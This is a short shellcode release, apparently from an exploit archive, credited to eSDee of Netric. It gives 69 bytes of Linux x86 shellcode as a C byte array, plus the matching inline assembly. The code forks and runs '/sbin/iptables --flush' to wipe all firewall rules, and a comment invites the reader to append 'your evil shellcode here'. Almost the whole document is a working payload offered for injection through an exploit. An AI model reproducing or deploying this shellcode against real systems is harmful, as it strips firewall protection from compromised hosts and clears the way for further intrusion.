Linux/x86 - /sbin/iptables --flush Shellcode (69 bytes)

/* linux x86 shellcode by eSDee of Netric (www.netric.org)
 * /sbin/iptables --flush
 */

char
main[] =
        "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
        "\x39\xd8\x75\x2d\x31\xc0\x50\x66"
        "\x68\x2d\x46\x89\xe6\x50\x68\x62"
        "\x6c\x65\x73\x68\x69\x70\x74\x61"
        "\x68\x62\x69\x6e\x2f\x68\x2f\x2f"
        "\x2f\x73\x89\xe3\x8d\x54\x24\x10"
        "\x50\x56\x54\x89\xe1\xb0\x0b\xcd"
        "\x80\x89\xc3\x31\xc0\x31\xc9\x31"
        "\xd2\xb0\x07\xcd\x80"; 

        /* your evil shellcode here */

int 
asm_code()
{
        __asm("
                xorl %eax,%eax
                xorl %ebx,%ebx
                movb $2, %al
                int $0x080
                cmpl %ebx,%eax
                jne WAIT

                xorl  %eax,%eax
                pushl %eax
                pushw $0x462d
                movl %esp,%esi
                pushl %eax
                pushl $0x73656c62
                pushl $0x61747069
                pushl $0x2f6e6962
                pushl $0x732f2f2f
                movl   %esp,%ebx
                leal   0x10(%esp),%edx
                pushl  %eax
                pushl  %esi
                pushl  %esp
                movl   %esp,%ecx
                movb   $0xb,%al
                int    $0x80

                WAIT:
                movl %eax, %ebx
                xorl %eax, %eax
                xorl %ecx, %ecx
                xorl %edx, %edx
                movb $7, %al
                int $0x80
                ");

}